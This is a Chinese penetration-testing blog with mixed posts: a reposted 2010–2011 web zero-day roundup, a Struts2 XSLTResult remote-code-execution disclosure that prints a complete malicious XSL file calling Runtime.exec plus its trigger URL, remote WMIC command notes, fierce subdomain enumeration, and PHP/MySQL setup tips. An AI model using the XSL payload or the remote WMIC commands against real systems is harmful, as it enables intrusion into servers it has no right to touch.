艾米网络
关注网络安全 致力移动平台(Android) 修炼入侵渗透
关注网络安全 致力移动平台(Android) 修炼入侵渗透
十一 14th
1:下载si的一个CLF文件(for python)下载地址:http://www.sourceinsight.com/public/languages/Python.CLF
2:open si,选择options->Preferences->Language->import->将刚刚的clf文件导入进来,然后OK
3:options->Document options->Language选择python,再new 一个type,里面输入python,然后在file filter中输入:*.py,OK
十 24th
2010年1月12日上午7点钟开始,全球最大中文搜索引擎百度”遭到黑客攻击,长时间无法正常访问。这是自百度建立以来,所 遭遇的持续时间最长、影响最严重的黑客攻击。回顾2010年,猖獗的WEB 零日漏洞攻击似乎预示着,2011年又将是一个WEB 零日漏洞活跃的年份。 各种安全漏洞的传播仍将继续扩大,僵尸网络还将活跃并更加频繁变换方位,而黑客也将继续绞尽脑汁发明新的方式,以试图逃过各种安全软件的过滤。为此,杭州 安恒信息技术有限公司攻防实验室结合自身研究成果总结并发布2010-2011 Web 零日漏洞安全报告,从而呼吁整个互联网关注Web时代信息安全的全新威胁及趋势走向。
2011-3月MYSQL.com和sun.com被入侵
攻击者通过MySQL.com上查看用户的页面进入,获取到了数据库、表及存储用户密码的dump数据。更严重的是,攻击者将用户密码数据公布在网上让其他人进行破解。更糟糕的是MySQL产品负责人的密码已被破解(竟然是4位数字:安全意识)。
2011-4月,索尼数据服务器被入侵
日本索尼公司5月1日在东京举行新闻发布会,就公司网络游戏用户个人信息遭窃一事表示道歉,承认1000万张信用卡资料可能外泄,已邀请美国联邦调查局(FBI)展开调查。
2011-6月Google Gmail邮箱被攻击
当Gmail用户打开带有Flash漏洞攻击代码的恶意网页时,Gmail邮箱中将被黑客偷偷添加一个“间谍”帐户。这个“间谍”帐户不仅可以阅读所有邮件,甚至还能冒充Gmail邮箱的主人向外发送邮件,从而使黑客达到发布恶意广告、欺诈信息等目的。
Flash被广泛应用在网页视频、网页游戏等领域,国内几乎90%以上的电脑都安装了Adobe Flash Player。同时,Gmail在国内也拥有大量忠诚用户。因此,Flash“间谍”漏洞的曝光将对Gmail邮箱安全造成极大威胁。
2011-6月新浪微博遭黑客攻击
图片为引入的蠕虫JS文件:

6月28日晚,许多新浪微博用户的微博账号突然间大爆发,短时间内发布了多条带有短链接的微博并对粉丝发同类私信。这其中不乏 加V认证的用户。而粉丝们收到该微博内容后,受微博或私信中诱惑性文字的诱导,点击该链接后,这一批用户也遭受感染,进行批量发布带有恶意短链接的微博。 据分析,此次新浪微博大范围遭受XSS攻击,主要原因是新浪微博的名人堂过滤不严,导致执行跨站脚本。当用户点击该恶意链接后,蠕虫病毒就通过这些用户继 续的进行传播,通过执行脚本,令受感染的微博帐号发布如下带有诱惑性字样的微博正文,并附上短链接:
郭美美事件的一些未注意到的细节;
建党大业中穿帮的地方;
让女人心动的100句诗歌;
3D肉团团高清普通话版种子;
这是传说中的神仙眷侣啊;
惊爆!范冰冰艳照真流出了;
杨幂被爆多次被潜规则;
傻仔拿锤子去抢银行;
可以监听别人手机的软件;
个税起征点有望提到4000。
以上均为当前热门话题,对用户很具有诱导性。尤其是众多加V认证的用户受到感染,发布相关微博内容后,病毒传播的途径更为广泛,影响更为严重。在不到一个小时的时间,已经有超过3万用户中招。
2010-5月nginx文件类型错误解析漏洞
漏洞分析:nginx默认以cgi的方式支持php的运行,譬如在配置文件当中可以以
location ~ \.php$ {
root html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
include fastcgi_params;
}
的方式支持对php的解析,location对请求进行选择的时候会使用URI环境变量进行选择,其中传递到后端Fastcgi的关键变量 SCRIPT_FILENAME由nginx生成的$fastcgi_script_name决定,而通过分析可以看 到$fastcgi_script_name是直接由URI环境变量控制的,这里就是产生问题的点。而为了较好的支持PATH_INFO的提取,在PHP 的配置选项里存在cgi.fix_pathinfo选项,其目的是为了从SCRIPT_FILENAME里取出真正的脚本名。
2010-7月Struts2/XWork < 2.2.0远程执行任意代码漏洞
Struts2的核心是使用的webwork框架,而webwork又是使用的XWork来处理action的,并且通过调用 底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个 http参数:
user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL将它转换为:
action.getUser().getAddress().setCity(“Bishkek”)
action.getUser().setFavoriteDrink(“kumys”)
这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用ValueStack.setValue()。
除了支持参数的设置和读取,ONGL支持另外一些session、scope等等,而且ONGL支持调用java静态方法,这样子就可以成功进行调用 java静态方法来进行攻击,比如调用java.lang.RunTime. getRuntime().exec()来执行命令
2010-9月ASP.NET的Padding Oracle Attack漏洞
ASP.net中引入资源文件(JS等),通常使用了WebResources.axd?d=xyz来实现的。 WebResource.axd有一个特点,便是会对错误的密文(即d=xyz中的xyz)产生500错误,而对正确的密文产生404错误,这便形成了足 够的提示。 通过穷举破解出站点的Machine Key,也就是网站所使用的密钥,就可以下载网站私密文件(web.config)或者修改ViewState等等 。
2011-3月Resin Web服务器解析漏洞
安恒安全团队研究发现:Resin 在处理servlet mapping时支持使用正则表达式来进行处理,将url-pattern转化为正则表达式的时候没有进行安全校验,并且在进行正则表示匹配的时候使用的 匹配方式是匹配输入串中与模式匹配的子串,结合上面点,攻击者能够构造特殊的url来使得web服务器调用特定的servlet来进行解析,从而产生解析 漏洞。
2011-3月Yahoo Mail跨站漏洞
安恒安全团队研究发现:Yahoo Mail XSS漏洞,利用跨站漏洞可以成功劫持受害者浏览器。

2011-3月21CN Mail跨站漏洞
安恒安全团队研究发现:21CN XSS漏洞,利用跨站漏洞可以成功劫持受害者浏览器。

2011-3月中国移动139Mail跨站漏洞
安恒安全团队研究发现:139mail XSS漏洞,利用跨站漏洞可以成功劫持受害者浏览器。

2011-4月网易旗下163Mail跨站漏洞
安恒安全团队研究发现:网易旗下所有邮箱系统 XSS漏洞,利用跨站漏洞可以成功劫持受害者浏览器。

2011-4月 QQMail跨站漏洞
安恒安全团队研究发现:腾讯QQ MAIL XSS漏洞,利用跨站漏洞可以成功劫持受害者浏览器。

2011-4月HOT Mail跨站漏洞
HOT MAIL XSS漏洞,利用跨站漏洞可以成功劫持受害者浏览器。

2011-5月阿里旺旺远程ActiveX溢出0DAY
安恒安全团队研究发现:淘宝阿里旺旺的一个dll中的图像文件名函数存在一个栈溢出漏洞,可以远程执行任意代码;imageMan.dll的图像文件名函数存在一个栈溢出漏洞,可以执行任意代码。
2011阿里旺旺在本地开启一个随即端口开放http服务,并在所有IP上监听,并通过此端口获得用户认证的token,通过 获得的token可直接登陆网站。获得监听端口的token需要对应的URL,而此URL可很容易猜解到。导致可通过远程获得目标token,并登陆网 站。
图为2011-5月 阿里旺旺token劫持漏洞:


2011-7月Nginx %00空字节执行任意代码(php)漏洞
Possible Arbitrary Code Execution with Null Bytes, PHP, and Old Versions of nginx
Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码
In vulnerable versions of nginx, null bytes are allowed in URIs by default (their presence is indicated via a variable named zero_in_uri defined in ngx_http_request.h).
Individual modules have the ability to opt-out of handling URIs with null bytes. However, not all of them do; in particular, the FastCGI module does not.
2011-8月Apache HTTP Server畸形Range选项处理远程拒绝服务漏洞
Apache HTTP Server是Apache软件基金会的一个开放源代码的网页服务器,可以在大多数电脑操作系统中运行,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。
Apache HTTP Server在处理Range选项生成回应时存在漏洞,远程攻击者可能利用此漏洞通过发送恶意请求导致服务器失去响应,导致拒绝服务。此漏洞源于 Apache HTTP Server在处理Range头选项中包含的大量重叠范围指定命令时存在的问题,攻击者可通过发送到服务器的特制HTTTP请求耗尽系统资源,导致 Apache失去响应,甚至造成操作系统资源耗尽。
2011-8月phpMyAdmin跟踪功能多个跨站脚本漏洞
phpMyAdmin存在多个安全漏洞,允许恶意用户进行脚本注入攻击。
部分传递给table, column和index名的输入在跟踪功能中使用前缺少过滤,可被利用注入任意HTML和脚本代码,当恶意数据被查看时可以目标用户浏览器安全上下文执行恶意代码。
八 27th
这是个没有人公布过的漏洞,偶尔看代码发现的。事实上,这段代码用的人不多,需要同时满足两个情况,才可以搞。我猜测,发出struts2远程代码执行的那个大牛,不可能没发现这么弱智的漏洞。所以,要么是有原因不能公布,要么就是卖了,那就好,这次我首发,哈哈哈!
先讲讲原理:
struts2允许action有多种返回类型,其中包括XSLT类型,这种类型允许接受用户提交一个文件地址,并且去解析它为XSLT文件,无论扩展名是什么。
这是XSLTResult文件代码:
http://svn.apache.org/repos/asf/struts/struts2/trunk/core/src/main/java/org/apache/struts2/views/xslt/XSLTResult.java
//获取用户提交的"xslt.location"的值
String pathFromRequest = ServletActionContext.getRequest().getParameter("xslt.location");
path = pathFromRequest;
URL resource = ServletActionContext.getServletContext().getResource(path);
//解析用户提交的文件地址为xslt
templates = factory.newTemplates(new StreamSource(resource.openStream()));
而XSLT解析,会允许执行java静态方法,所以,只要上传一个文件在服务器上,例如
/upload/7758521.gif:
<?xml version="1.0" encoding="UTF-8" ?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
version="1.0" xmlns:ognl="ognl.Ognl">
<xsl:template match="/">
<html>
<body>
<h2>hacked by kxlzx</h2>
<h2>http://www.inbreak.net</h2>
<exp>
<xsl:value-of select="ognl:getValue('@Runtime@getRuntime().exec("calc")', '')"/>
</exp>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
这个xsl文件解析时,会调用ognl中的:
ognl:getValue('@Runtime@getRuntime().exec("calc")', '')
导致执行任意代码。
事实上,XSLT解析,可以执行任意代码,并非只是java的,php也可以,只是大多数人不注意罢了,我在之前,还看到很多关于XSLT执行代码的文章,当然不是为了安全研究。
可能这个知识点知道的不多,导致没有人发现struts2这个明显的安全问题。
八卦一下,这个漏洞和ognl木有任何关系,其实是因为正常的Runtime.getRuntime().exec()太麻烦了,ognl用起来非常方便,
而struts2必然自带ognl包,所以我跟随大牛脚步,坚定无比的执行ognl语句。
文件上传后,要找到一个返回xslt的action才行,XSLTResult的作用就是把action返回,直接转换为xml,便于传输。
通常在ajax的时候,用这个会比较常见,所以看到xml返回时,就要特别注意了。
假设一个xslt的返回action地址为
http://www.inbreak.net/xslt.action
我们就可以提交
http://www.inbreak.net/xslt.action?xslt.location=upload/a.gif

从原理上,看出来这个漏洞需要至少满足两个情况:
1、网站使用了XSLTResult返回
这一点不好验证,具体来说,这种返回是为了处理“对象–xml”的,就是把一个对象,封装成xml,然后扔出来。那么具体的业务逻辑,就要看网站的功能了。
2、要有上传文件功能
因为必须在web目录下的文件,才可以搞,他只能load到web下的,往前,就不行了。但是好在不限制文件名和扩展名,还是有很大机会的。
本文转自:http://www.inbreak.net
七 28th
之前一直都是在BT4上使用msf,最近因为需要想在Debian上安装个最新的Metasploit,装上去发现Mysql数据库死活就是连接不上,发现网上也有很多人遇到这个问题,但都没有给出解决办法。
最后找了很多资料总算解决,主要是由于ruby的版本与使用的mysql驱动不配,正常使用apt-get会安装最新的ruby,而msf是按照旧版本驱动的使用模式,因此需要执行下面的命令,降低ruby版本:
执行完上面的操作,这时候msf就能正常连接上Mysql数据库库了
七 18th
感觉WMIC的命令比CMD下的命令好用多了,方便批处理处理东西,记录一下。
1. wmic /node:”192.168.1.20″ /user:”domain\administrator” /password:”123456″
2.【硬件管理】:
获取磁盘资料:
wmic DISKDRIVE get deviceid,Caption,size,InterfaceType
获取分区资料:
wmic LOGICALDISK get name,Description,filesystem,size,freespace
获取CPU资料:
wmic cpu get name,addresswidth,processorid
获取主板资料:
wmic BaseBoard get Manufacturer,Product,Version,SerialNumber
获取内存数:
wmic memlogical get totalphysicalmemory
获得品牌机的序列号:
wmic csproduct get IdentifyingNumber
获取声卡资料:
wmic SOUNDDEV get ProductName
获取屏幕分辨率
wmic DESKTOPMONITOR where Status=’ok’ get ScreenHeight,ScreenWidth
3. PROCESS【进程管理】:
列出进程
wmic process list brief
(Full显示所有、Brief显示摘要、Instance显示实例、Status显示状态)
wmic 获取进程路径:
wmic process where name=”jqs.exe” get executablepath
wmic 创建新进程
wmic process call create notepad
wmic process call create “C:\Program Files\Tencent\QQ\QQ.exe”
wmic process call create “shutdown.exe -r -f -t 20″
wmic 删除指定进程:
wmic process where name=”qq.exe” call terminate
wmic process where processid=”2345″ delete
wmic process 2345 call terminate
wmic 删除可疑进程
wmic process where “name=’explorer.exe’ and executablepath<>‘%SystemDrive%\\windows\\explorer.exe’” delete
wmic process where “name=’svchost.exe’ and ExecutablePath<>‘C:\\WINDOWS\\system32\\svchost.exe’” call Terminate
3. USERACCOUNT【账号管理】:
更改当前用户名
WMIC USERACCOUNT where “name=’%UserName%’” call rename newUserName
WMIC USERACCOUNT create /?
4. SHARE【共享管理】:
建立共享
WMIC SHARE CALL Create “”,”test”,”3″,”TestShareName”,”",”c:\test”,0
(可使用 WMIC SHARE CALL Create /? 查看create后的参数类型)
删除共享
WMIC SHARE where name=”C$” call delete
WMIC SHARE where path=’c:\\test’ delete
5. SERVICE【服务管理】:
更改telnet服务启动类型[Auto|Disabled|Manual]
wmic SERVICE where name=”tlntsvr” set startmode=”Auto”
运行telnet服务
wmic SERVICE where name=”tlntsvr” call startservice
停止ICS服务
wmic SERVICE where name=”ShardAccess” call stopservice
删除test服务
wmic SERVICE where name=”test” call delete
6. FSDIR【目录管理】
列出c盘下名为test的目录
wmic FSDIR where “drive=’c:’ and filename=’test’” list
删除c:\good文件夹
wmic fsdir “c:\\test” call delete
重命名c:\test文件夹为abc
wmic fsdir “c:\\test” rename “c:\abc”
wmic fsdir where (name=’c:\\test’) rename “c:\abc”
复制文件夹
wmic fsdir where name=’d:\\test’ call copy “c:\\test”
7.datafile【文件管理】
重命名
wmic datafile “c:\\test.txt” call rename c:\abc.txt
8.【任务计划】:
wmic job call create “notepad.exe”,0,0,true,false,********154800.000000+480
wmic job call create “explorer.exe”,0,0,1,0,********154600.000000+480
七 14th
五 19th
fierce的原理还是根据字典来进行匹配查询当前域下的子域名,消费的时间长,结果不会太完善,但作为一种信息收集的方法,记录一下…..
查子域名语句:perl fierce.pl -dns baidu.com -wide
其他一些命令:
perl fierce.pl -dns widget.com -search widgetcompany,nutsandbolts
我们目标DNS是widget.com发现其还管理着nutsandbolts网站,并且存在@widgetcompany的邮箱后缀,通过-search能够查询到相关信息
perl fierce.pl -range 10.10.10.0-255 -dnsserver ns1.example.com
查询内网域,定制一个DNSSERVER
perl fierce.pl -dns example.com -connect headers.txt -fulloutput -file output.txt
可以连接一个HTTP头文件对目标进行Http Head Injection 不过用处不大,耗时
perl fierce.pl -dns example.com -wordlist dictionary.txt -file output.txt
可以自己定制二级域名的字典来进行查询
五 12th
Apache或IIS中,如果按照默认php.ini,会无法加载php_exif.dll模块 想php_exif能够被成功加载,必须满足下面条件:
1. php_mbstring被启用;
2. php.ini中,php_mbstring必须在php_exif前被加载。
因此需要修改默认的php.ini中的这两个模块顺序(默认是字典序)
extension=php_mbstring.dll
extension=php_exif.dll
四 28th
查看字符集设置
mysql> show variables like ‘collation_%’;
+———————-+—————–+
| Variable_name | Value |
+———————-+—————–+
| collation_connection | utf8_general_ci |
| collation_database | utf8_general_ci |
| collation_server | utf8_general_ci |
+———————-+—————–+
3 rows in set (0.02 sec)
mysql> show variables like ‘character_set_%’;
+————————–+—————————-+
| Variable_name | Value |
+————————–+—————————-+
| character_set_client | utf8 |
| character_set_connection | utf8 |
| character_set_database | utf8 |
| character_set_filesystem | binary |
| character_set_results | utf8 |
| character_set_server | utf8 |
| character_set_system | utf8 |
| character_sets_dir | /usr/share/mysql/charsets/ |
+————————–+—————————-+
8 rows in set (0.02 sec)
mysql>
其他的一些设置方法:
修改数据库的字符集
mysql>use mydb
mysql>alter database mydb character set utf-8;
创建数据库指定数据库的字符集
mysql>create database mydb character set utf-8;
通过配置文件修改:
修改/var/lib/mysql/mydb/db.opt
default-character-set=latin1
default-collation=latin1_swedish_ci
为
default-character-set=utf8
default-collation=utf8_general_ci
重起MySQL:
[root@bogon ~]# /etc/rc.d/init.d/mysql restart
通过MySQL命令行修改:
mysql> set character_set_client=utf8;
Query OK, 0 rows affected (0.00 sec)
mysql> set character_set_connection=utf8;
Query OK, 0 rows affected (0.00 sec)
mysql> set character_set_database=utf8;
Query OK, 0 rows affected (0.00 sec)
mysql> set character_set_results=utf8;
Query OK, 0 rows affected (0.00 sec)
mysql> set character_set_server=utf8;
Query OK, 0 rows affected (0.00 sec)
mysql> set character_set_system=utf8;
Query OK, 0 rows affected (0.01 sec)
mysql> set collation_connection=utf8;
Query OK, 0 rows affected (0.01 sec)
mysql> set collation_database=utf8;
Query OK, 0 rows affected (0.01 sec)
mysql> set collation_server=utf8;
Query OK, 0 rows affected (0.01 sec)
查看:
mysql> show variables like ‘character_set_%’;
+————————–+—————————-+
| Variable_name | Value |
+————————–+—————————-+
| character_set_client | utf8 |
| character_set_connection | utf8 |
| character_set_database | utf8 |
| character_set_filesystem | binary |
| character_set_results | utf8 |
| character_set_server | utf8 |
| character_set_system | utf8 |
| character_sets_dir | /usr/share/mysql/charsets/ |
+————————–+—————————-+
8 rows in set (0.03 sec)
mysql> show variables like ‘collation_%’;
+———————-+—————–+
| Variable_name | Value |
+———————-+—————–+
| collation_connection | utf8_general_ci |
| collation_database | utf8_general_ci |
| collation_server | utf8_general_ci |
+———————-+—————–+
3 rows in set (0.04 sec)